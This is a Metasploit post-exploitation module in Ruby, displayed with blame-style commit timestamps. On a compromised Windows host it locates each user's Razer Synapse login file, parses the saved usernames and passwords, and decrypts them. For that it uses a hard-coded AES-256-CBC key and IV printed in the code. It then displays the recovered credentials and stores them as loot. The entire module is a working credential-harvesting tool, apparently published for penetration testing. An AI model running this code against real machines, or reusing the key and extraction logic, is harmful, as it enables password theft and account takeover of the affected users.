2013-01-16 02:14:49 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'openssl'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Windows::UserProfiles
|
2013-01-17 15:53:00 +00:00
|
|
|
include Msf::Post::File
|
2013-01-16 02:14:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Gather Razer Synapse Password Extraction',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will enumerate passwords stored by the Razer Synapse
|
|
|
|
client. The encryption key and iv is publicly known. This module
|
|
|
|
will not only extract encrypted password but will also decrypt
|
|
|
|
password using public key. Affects versions earlier than 1.7.15.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
|
|
|
|
'Matt Howard "pasv" <themdhoward[at]gmail.com>', #PoC
|
|
|
|
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.pentestgeek.com/2013/01/16/hard-coded-encryption-keys-and-more-wordpress-fun/' ],
|
|
|
|
[ 'URL', 'https://github.com/pasv/Testing/blob/master/Razer_decode.py' ]
|
|
|
|
],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'Platform' => [ 'win' ]
|
|
|
|
))
|
|
|
|
end
|
2013-01-16 02:14:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# decrypt password
|
|
|
|
def decrypt(hash)
|
|
|
|
cipher = OpenSSL::Cipher::Cipher.new 'aes-256-cbc'
|
|
|
|
cipher.decrypt
|
|
|
|
cipher.key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
|
|
|
|
cipher.iv = "ryojvlzmdalyglrj"
|
2013-01-16 02:14:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
hash.each_pair { |user,pass|
|
|
|
|
pass = pass.unpack("m")[0]
|
2013-01-16 02:14:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
password = cipher.update pass
|
|
|
|
password << cipher.final rescue return nil
|
2013-01-16 02:14:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
store_creds(user, password.split("||")[1])
|
|
|
|
print_good("Found credentials")
|
|
|
|
print_good("\tUser: #{user}")
|
|
|
|
print_good("\tPassword: #{password.split("||")[1]}")
|
|
|
|
}
|
|
|
|
end
|
2013-01-16 02:14:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def store_creds(user, pass)
|
|
|
|
if db
|
|
|
|
report_auth_info(
|
|
|
|
:host => Rex::Socket.resolv_to_dotted("www.razerzone.com"),
|
|
|
|
:port => 443,
|
|
|
|
:ptype => 'password',
|
|
|
|
:sname => 'razer_synapse',
|
|
|
|
:user => user,
|
|
|
|
:pass => pass,
|
|
|
|
:duplicate_ok => true,
|
|
|
|
:active => true
|
|
|
|
)
|
|
|
|
vprint_status("Loot stored in the db")
|
|
|
|
end
|
|
|
|
end
|
2013-01-16 02:14:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Loop throuhg config, grab user and pass
|
|
|
|
def parse_config(config)
|
|
|
|
if not config =~ /<Version>\d<\/Version>/
|
|
|
|
creds = {}
|
|
|
|
cred_group = config.split("</SavedCredentials>")
|
|
|
|
cred_group.each { |cred|
|
|
|
|
user = /<Username>([^<]+)<\/Username>/.match(cred)
|
|
|
|
pass = /<Password>([^<]+)<\/Password>/.match(cred)
|
|
|
|
if user and pass
|
|
|
|
creds[user[1]] = pass[1]
|
|
|
|
end
|
|
|
|
}
|
|
|
|
return creds
|
|
|
|
else
|
|
|
|
print_error("Module only works against configs from version < 1.7.15")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
2013-01-16 02:14:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# main control method
|
|
|
|
def run
|
|
|
|
grab_user_profiles().each do |user|
|
|
|
|
if user['LocalAppData']
|
|
|
|
accounts = user['LocalAppData'] + "\\Razer\\Synapse\\Accounts\\RazerLoginData.xml"
|
|
|
|
next if not file?(accounts)
|
|
|
|
print_status("Config found for user #{user['UserName']}")
|
2013-01-16 02:14:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
contents = read_file(accounts)
|
2013-01-16 02:14:49 +00:00
|
|
|
|
|
|
|
# read the contents of file
|
|
|
|
creds = parse_config(contents)
|
|
|
|
if creds
|
|
|
|
decrypt(creds)
|
|
|
|
else
|
|
|
|
print_error("Could not read config or empty for #{user['UserName']}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-08-29 18:37:50 +00:00
|
|
|
end
|